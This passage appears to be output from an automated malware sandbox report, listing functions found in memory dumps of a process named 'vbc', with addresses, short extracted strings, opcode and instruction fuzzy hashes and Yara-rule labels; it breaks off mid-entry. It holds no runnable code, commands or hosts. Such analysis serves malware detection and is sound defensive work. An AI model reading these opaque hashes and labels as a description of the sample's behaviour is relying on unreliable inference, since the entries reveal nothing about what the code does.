Yx, xrefs: 009754DA
Yx, xrefs: 009755A0
Yx, xrefs: 009754EB
Yx, xrefs: 0097554E
Yx, xrefs: 00975477
Yx, xrefs: 00975407
Yx, xrefs: 00975488
Yx, xrefs: 0097553D
Yx, xrefs: 009755B1
Yx, xrefs: 00975431

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx$Yx$Yx$Yx$Yx$Yx$Yx$Yx$Yx
API String ID: 0-2903227843
Opcode ID: 569c405191a29333e65295af500e3c33d213ab2b3a14b0e13e1b2d342407b6dc
Instruction ID: 4f980d6509d1603f0e739fb2170f06ce8aadc76876bd75ad386efe9bb64aa23b
Opcode Fuzzy Hash: 569c405191a29333e65295af500e3c33d213ab2b3a14b0e13e1b2d342407b6dc
Instruction Fuzzy Hash: 5061E236B08615CFCB58AB78945466E77B3EBC8356712C025D60A8B390DFB89D029BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0097E828 Relevance: 6.7, Strings: 5, Instructions: 408COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097EBE3
Yx, xrefs: 0097E9F2
Yx, xrefs: 0097EA88
Yx, xrefs: 0097E879
Yx, xrefs: 0097EC99

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx$Yx$Yx$Yx
API String ID: 0-2838541823
Opcode ID: 05280acf308c45c8e84d6817bc4f67c61a138037545e89b00e5cf1af7c8b3c6c
Instruction ID: 57a3a7f83db714e6249c3dc402fb6c38c29b2b7f99fdfadaa9e7f498580ba2d5
Opcode Fuzzy Hash: 05280acf308c45c8e84d6817bc4f67c61a138037545e89b00e5cf1af7c8b3c6c
Instruction Fuzzy Hash: F4E17A757042048FCB14DF78C899A6A7BF6EF89314F1584A9E50ACB3A2DB34DC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0097F729 Relevance: 2.8, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097FE52
Yx, xrefs: 0097FED4

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx
API String ID: 0-133913824
Opcode ID: 3ae70b42ef296180bfbeef175b4832d27dccf6078a8776724e2c030ef17c9fee
Instruction ID: 2e88260487e8da35dd7084c7f5524accd113b30ddc0377fa014b0bbeccf1acf3
Opcode Fuzzy Hash: 3ae70b42ef296180bfbeef175b4832d27dccf6078a8776724e2c030ef17c9fee
Instruction Fuzzy Hash: 38D11835A00219CFDB24DF74D858BADB7B2BF88305F1084A9E90AA73A0DB319D85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0097CBE0 Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097CDEB
Yx, xrefs: 0097CE6C

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx
API String ID: 0-133913824
Opcode ID: 840345b767152f504468267f528c0bf370ba3df7330819c285eab36efa2d163e
Instruction ID: c358cf240a223800ccba121dcaac44a0a7e87aff7bf81fee3c776707283d04b8
Opcode Fuzzy Hash: 840345b767152f504468267f528c0bf370ba3df7330819c285eab36efa2d163e
Instruction Fuzzy Hash: 35718F75E003098FDB14DFA8C8546AEBBF2AF89304F24852AD409EB790DB709D46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 009772D8 Relevance: 2.6, Strings: 2, Instructions: 135COMMON

Download Yara Rule

Strings

Yx, xrefs: 009773E0
Yx, xrefs: 009773F1

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx
API String ID: 0-133913824
Opcode ID: 8ba92b96effcc01811da43826a667108257571b90b2727ecc6c9a3455aee24b4
Instruction ID: 985d9d908c66cf9cdb1f838c3001d13e53c55770ca38f41a19634ad3004ed212
Opcode Fuzzy Hash: 8ba92b96effcc01811da43826a667108257571b90b2727ecc6c9a3455aee24b4
Instruction Fuzzy Hash: 134138313083458FC711DF74D894A6ABBE2AFC5304B098A6DD84AC77A5DB78EC05DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00977198 Relevance: 2.6, Strings: 2, Instructions: 120COMMON

Download Yara Rule

Strings

Yx, xrefs: 00977231
Yx, xrefs: 009771C9

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx
API String ID: 0-133913824
Opcode ID: 379af42d72c5d121060769918c3588e9a841616fb16823659a995561b3c75ba9
Instruction ID: 35a89c600911ebef1770b57b1b0ff4f880101f1147d8d6628052f639cb7406cc
Opcode Fuzzy Hash: 379af42d72c5d121060769918c3588e9a841616fb16823659a995561b3c75ba9
Instruction Fuzzy Hash: EE31093530C318AFCB159B789C04A697B66AFC6375F14C27AE529CB2E1CA718C01C790

Uniqueness

Uniqueness Score: -1.00%

Function 00977621 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097767C
Yx, xrefs: 009776B2

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx
API String ID: 0-133913824
Opcode ID: 6b1bbd64e7cc140c20ec232c5b8fc42dc21da72ae90c9a3655219fcdc099e953
Instruction ID: 588bfc582a47bc44206d68a42578fe23eb34cdd7feacdd768d814f2f6f43cf27
Opcode Fuzzy Hash: 6b1bbd64e7cc140c20ec232c5b8fc42dc21da72ae90c9a3655219fcdc099e953
Instruction Fuzzy Hash: C631273470D3948FC716A738986547D7FA24FCA21530988BED54ACB6A2DF788C0A8762

Uniqueness

Uniqueness Score: -1.00%

Function 00970468 Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

pGx, xrefs: 00970490
$Rx, xrefs: 0097047F

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: $Rx$pGx
API String ID: 0-3023941878
Opcode ID: 93c9c72aa39dbf99af79da2ea7cda1fe8154b02bdd187bca241c4bd2ed640f60
Instruction ID: d6b3788cd73a20cf6ff603d78d851a8f2d8388dfac35fa0dc42e781e5b0ef92c
Opcode Fuzzy Hash: 93c9c72aa39dbf99af79da2ea7cda1fe8154b02bdd187bca241c4bd2ed640f60
Instruction Fuzzy Hash: B4317C31B04605CBCB14EB69D8197AEBAE6AFC4754F24C129E419DB390EF38CD418B96

Uniqueness

Uniqueness Score: -1.00%

Function 00977C78 Relevance: 2.0, Instructions: 1975COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfa813cc8f7c743b677af820d431085d40e752d6f2c85f2858ec7df06396b8fa
Instruction ID: b71720b33e90559817a6bd92f32aa5f997826dc0965cb256effc700507ed2c19
Opcode Fuzzy Hash: dfa813cc8f7c743b677af820d431085d40e752d6f2c85f2858ec7df06396b8fa
Instruction Fuzzy Hash: 2513FC74941204EFCB669F74D4519AAB732FF9930EB1084AADC1136BA1CB3FA942DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00977C88 Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8bc5bdff1780abe31bc91136277ce87a73a3ec6910951b8a814454aca04f10f
Instruction ID: f4fabd611d01df10fee7139941588bd9b166adaa23906f1534fdd38e27d1df6f
Opcode Fuzzy Hash: b8bc5bdff1780abe31bc91136277ce87a73a3ec6910951b8a814454aca04f10f
Instruction Fuzzy Hash: 6213FC74941204EFCB669F74D4519AAB732FF9930EB1084AADC1136BA1CB3FA942DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0097DB38 Relevance: 1.6, Strings: 1, Instructions: 346COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097DE49

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: 9980e8fdcb251076d749da33d0a2b0b10c1497c55b3259746b1d50b3867864cf
Instruction ID: 7336c257e197f2cbbdac8f3da9c9653656327338a6a9b057ebe8b1bba668f8a8
Opcode Fuzzy Hash: 9980e8fdcb251076d749da33d0a2b0b10c1497c55b3259746b1d50b3867864cf
Instruction Fuzzy Hash: EBE14D35600209DFCB14DF65D894AADBBB2FF88314F15C829E91A9B760DB74EC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00972220 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

8c4k, xrefs: 00972332

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: 8c4k
API String ID: 0-1056977164
Opcode ID: 5f17bad1bc16df3cef4c10abb724716e2caced1ecf11a4005449b5b6d9f1c61b
Instruction ID: aa89136bb9ea130fc493f224f2f1946840be5bb589b1a3b27cecb9823c0db038
Opcode Fuzzy Hash: 5f17bad1bc16df3cef4c10abb724716e2caced1ecf11a4005449b5b6d9f1c61b
Instruction Fuzzy Hash: 49411430710608CBCB04BBB8D85806DB7B2FFC9301F548A18D1669B3E4EF34A949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0097CEC0 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097CFA4

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: 331528e2d1166ef89b0930a93e3c9703519ecdc67d0cc60721db125ecb0f4ef8
Instruction ID: 40bdd8bb9c629b44333de1816c702254fcc84533744ba614eb4a1c36f021ef56
Opcode Fuzzy Hash: 331528e2d1166ef89b0930a93e3c9703519ecdc67d0cc60721db125ecb0f4ef8
Instruction Fuzzy Hash: 8E41B071B042089FC714DB68C86476EBBF6EF89310F15806ED50ADB391DB358D41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00979CF8 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

Yx, xrefs: 00979D53

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: 9098dac3daa3774e553706e7d8b3507d24064a02a74e9acb131760a7c88f3224
Instruction ID: c96c02ac75209a1e767e94f5de1562670b6e2a149f1a710d2467a809b4822a04
Opcode Fuzzy Hash: 9098dac3daa3774e553706e7d8b3507d24064a02a74e9acb131760a7c88f3224
Instruction Fuzzy Hash: 3C411531B043489FDB14DB75D815BAE7BB2DF81704F058069D904DB6D1CBB88D06DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00976A90 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

Yx, xrefs: 00976ABC

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: 708d14ef0c5016461f4ead49ee7de51cf399887334ec11605f67b1ba4e296367
Instruction ID: baa23c897c083728f3e3860ebedcc99770d3583c658f089852d7bda0d025b52f
Opcode Fuzzy Hash: 708d14ef0c5016461f4ead49ee7de51cf399887334ec11605f67b1ba4e296367
Instruction Fuzzy Hash: 15315A357093944FCB069778E8184AD3FF6DF8A29631648AFDA06D7392DE784C06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 009774D8 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

Yx, xrefs: 009775E0

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: a8ccbffb4150c2a816ef4fe46f4270901b502c359b4a2c5170c7b8ab9f03bfcc
Instruction ID: ab4ac9c74152f4831e8d5dfc2df01734b77a695a7eaf5d9ec33025975965d025
Opcode Fuzzy Hash: a8ccbffb4150c2a816ef4fe46f4270901b502c359b4a2c5170c7b8ab9f03bfcc
Instruction Fuzzy Hash: C9313D357043088FDB18DFA8C898AAABBB6AF8D315F154468E6069B3A0CF75DD41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 009756E0 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

Yx, xrefs: 00975777

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: 60eb0df155896b26f9858c38cffcdfab414b057263c21cc81d1aa5f3bcc37af7
Instruction ID: c31c9d022e17def91cdb30d94259c8414e1e71a1ac5fa4c245cb6312475805ed
Opcode Fuzzy Hash: 60eb0df155896b26f9858c38cffcdfab414b057263c21cc81d1aa5f3bcc37af7
Instruction Fuzzy Hash: 88315F3170D3448FC7158774D8247A97FB19F86351F1680FFD14ACB6A2CA698C01DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0097CEAF Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097CE6C

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: cd3bb81fc140731674d9421b4be1994f2f28c5172ba505581588c28beeb833ef
Instruction ID: a8e4b4fc8f2c7d088fa2cc83e05a3bfb1f65466a1303a83b9039db98f6a99765
Opcode Fuzzy Hash: cd3bb81fc140731674d9421b4be1994f2f28c5172ba505581588c28beeb833ef
Instruction Fuzzy Hash: F121C171B082049FD714DB78D858B6EBBF2AF88350F25806ED50ADB3A1DB748D46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00976A28 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

Yx, xrefs: 00976A5C

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx
API String ID: 0-3516304271
Opcode ID: 6598d9d34017f6fc5e8dc0605cece7079642e85e6c2a1d198a120b4f0d7a4749
Instruction ID: 6ee26660540f25791a3c6da28c5814c8e445af42f0720f5d87bf354b249b630d
Opcode Fuzzy Hash: 6598d9d34017f6fc5e8dc0605cece7079642e85e6c2a1d198a120b4f0d7a4749
Instruction Fuzzy Hash: 5601D634B4D3854FCB0697389C2547A7F719F8614631984FFC546CB2A3DA258C06D752

Uniqueness

Uniqueness Score: -1.00%

Function 0097DAF8 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 236672325e42889d6d851d855793cc4ba8bb77eb4136d125d9a73814536ac14d
Instruction ID: 53b829080b5f907204f8ef8b352b642ad837c9b6a747320e77ba9f4368b75fdd
Opcode Fuzzy Hash: 236672325e42889d6d851d855793cc4ba8bb77eb4136d125d9a73814536ac14d
Instruction Fuzzy Hash: 3C913C35A01205DFCB15DF65D898AADBBB2FF88310B19C569E81A9B361DB34EC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0097C9C8 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38c47a15750a9fde8ebeaf87d5eb140606280f7d0799128672196f2f1a93eb55
Instruction ID: a2f3d4a0d6103ae67bca7885b72e99cccb3846ee29f2ac2ab029bc8aaa34d16b
Opcode Fuzzy Hash: 38c47a15750a9fde8ebeaf87d5eb140606280f7d0799128672196f2f1a93eb55
Instruction Fuzzy Hash: 8551DB75A00219DFCB14DFA4E895AEDBBB6FF88315F148029E906A7360DB34AD41DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0097DEF9 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c973965f9c5e328c4c123821e2497173a3e18171221e2444c6f4a8721259c90
Instruction ID: b36db7ac7dfaec07b15050d1882b09437891fc366af33fac45ab5f363c4ed7f6
Opcode Fuzzy Hash: 1c973965f9c5e328c4c123821e2497173a3e18171221e2444c6f4a8721259c90
Instruction Fuzzy Hash: A251A335A11209DFCB14DF94D994AADBBB2FF88310F158459E91AAB360DB35EC42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00971B71 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c786f9f7a26eddd6fb994e94f0f01d200a054cefe7da28c3a27f187df600a77d
Instruction ID: f18c8cc55080a832dad43138f1e10fbf8632c92af8bb835e3da29bdceb1cd9ff
Opcode Fuzzy Hash: c786f9f7a26eddd6fb994e94f0f01d200a054cefe7da28c3a27f187df600a77d
Instruction Fuzzy Hash: C2418230B003048FCB45AB78E85856E7BF6EBC9312714856DEA0AD7361DF389C06EB95

Uniqueness

Uniqueness Score: -1.00%

Function 00974CC6 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04437497a75276f4a3cc15b5ca3b16956955ef4d9e6dc773644065e1007f6350
Instruction ID: efbf1107095d86bc7d40b293f0a3f2b2a7a1e0499f84c104a8bdbe045b689924
Opcode Fuzzy Hash: 04437497a75276f4a3cc15b5ca3b16956955ef4d9e6dc773644065e1007f6350
Instruction Fuzzy Hash: 2331F8343001049FDB04A738D8A9A7E6A5BFBD6694B29842CD40B97391EF3C9C0267F2

Uniqueness

Uniqueness Score: -1.00%

Function 0097489F Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa59e77762478e067ddaa419f422710f6b98322a86ba10a7bd874bb1b721b1c7
Instruction ID: 03d5c3f628407672420a35fe9bc334b5348f5c8e4968850ba9b552966608cce0
Opcode Fuzzy Hash: aa59e77762478e067ddaa419f422710f6b98322a86ba10a7bd874bb1b721b1c7
Instruction Fuzzy Hash: 5A41AD35900309EFCF01DFA4E80989DBFB2FB88301F088466EA05A7272D7395914EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0097A860 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c049874a822d9bb77daf7949f84b25bd3b9959c7b6f906563d00ea1b9c7c701
Instruction ID: 4d57111d47ae75809816f9f4b0e0edf50af9617878c0f701fdb26b73ba1b3b0d
Opcode Fuzzy Hash: 3c049874a822d9bb77daf7949f84b25bd3b9959c7b6f906563d00ea1b9c7c701
Instruction Fuzzy Hash: FF319A32D107468ACB10EFB9C8416D9B771FF99320F25872AE49A77240EB30B5D5CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0097A870 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe1cd6c42fd6e9878826843af8cc2699d2531d8f6a156c8b77d760b5c6acb178
Instruction ID: 7b7c91d095c9b614908954408c4335131f02ba98e936adbaa218f27abd421f4b
Opcode Fuzzy Hash: fe1cd6c42fd6e9878826843af8cc2699d2531d8f6a156c8b77d760b5c6acb178
Instruction Fuzzy Hash: 3D31AB32D1070A8ACB10EFB8C8416D9B771FF99320F24872AE55977200EB30B5D5CB84

Uniqueness

Uniqueness Score: -1.00%

Function 009774C8 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd5b94d618165eb45639385d7629ab41a2da10db706dbfb12bd777f0c7d7119
Instruction ID: 6406565497467fcd3042608657fc2a92b4fc96532afc1a148ff78a583580d207
Opcode Fuzzy Hash: fdd5b94d618165eb45639385d7629ab41a2da10db706dbfb12bd777f0c7d7119
Instruction Fuzzy Hash: 983130357082488FD715DF68D898BAABBF1AF8D700F144068E5069B3A1CB759D41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 009748B0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2600f1cd988a93d3efe9ee0e19b1e0e756dc4446f8768640f76893a649759083
Instruction ID: b0baaaae50530be85d660e7582c2f9269297818cfb91c96e9e5e0cc494d91d69
Opcode Fuzzy Hash: 2600f1cd988a93d3efe9ee0e19b1e0e756dc4446f8768640f76893a649759083
Instruction Fuzzy Hash: 58313B35900309EFCF41DFE8E94999DBFB2FB48305F048415EA06A3261D7395955EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00977B48 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64990b7c60884a37b6dc4fec2174cecb328bcc67dd42793874a8a743b5689535
Instruction ID: 10f7e581a787223c396cc6d7d04022b18f9cfa3a4aa1af102c4c0ac486b8f64c
Opcode Fuzzy Hash: 64990b7c60884a37b6dc4fec2174cecb328bcc67dd42793874a8a743b5689535
Instruction Fuzzy Hash: 3331D331E0474ACBCB11AFB8D8141EAF774FF85300B10C72AD45AA7281EB34A986CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00977B58 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 356a1a0e0de5373b613b3440a0c4910f10920acc394fa6f2faea3bfa8ca6c2a8
Instruction ID: b19af4a0b1f57c0a7fe4d8eb9e1d4ee1bd0564c949cba44f07c7b66aa78d8c8e
Opcode Fuzzy Hash: 356a1a0e0de5373b613b3440a0c4910f10920acc394fa6f2faea3bfa8ca6c2a8
Instruction Fuzzy Hash: FC31B431F0064ACBCB15AFB8D8152EAF3B5FF85304B10C629D559A7740EF34A986DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0077D3C8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.414949778.000000000077D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0077D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_77d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c16689ecb649e6c0020432c0c09c026ba65ea589de6e3ebc988b620636c49fb
Instruction ID: 4c2507770108adb3741876d748d3d352a2b9cdda85a5fb895cb0929503a68517
Opcode Fuzzy Hash: 1c16689ecb649e6c0020432c0c09c026ba65ea589de6e3ebc988b620636c49fb
Instruction Fuzzy Hash: 1921D1B2604280DFDF25DF10D9C4F26BB75EB98364F24C569E9094B246C33AEC55C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 0077D4B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.414949778.000000000077D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0077D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_77d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e4f17c147eb02140d2793797a1e0d6d05427ba111d8a0a8fb0e913308ffb46
Instruction ID: 3aee6a08cc051d6396d26b5fd71321d28681d3d4bf11e10cf376517f0da05d47
Opcode Fuzzy Hash: d5e4f17c147eb02140d2793797a1e0d6d05427ba111d8a0a8fb0e913308ffb46
Instruction Fuzzy Hash: 1121E0B1604240DFDF25CF14D9C4B26BB76FB98368F24C569E9094B206C33ADC66CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0097E8B0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ec863331f844df6e752b710f5003c70a1ac0af4016db86512d137179f00e28
Instruction ID: adfd8e7a527b1ffec4f315b21809b66d76f69939baa6009035f7f1daaed11dad
Opcode Fuzzy Hash: 62ec863331f844df6e752b710f5003c70a1ac0af4016db86512d137179f00e28
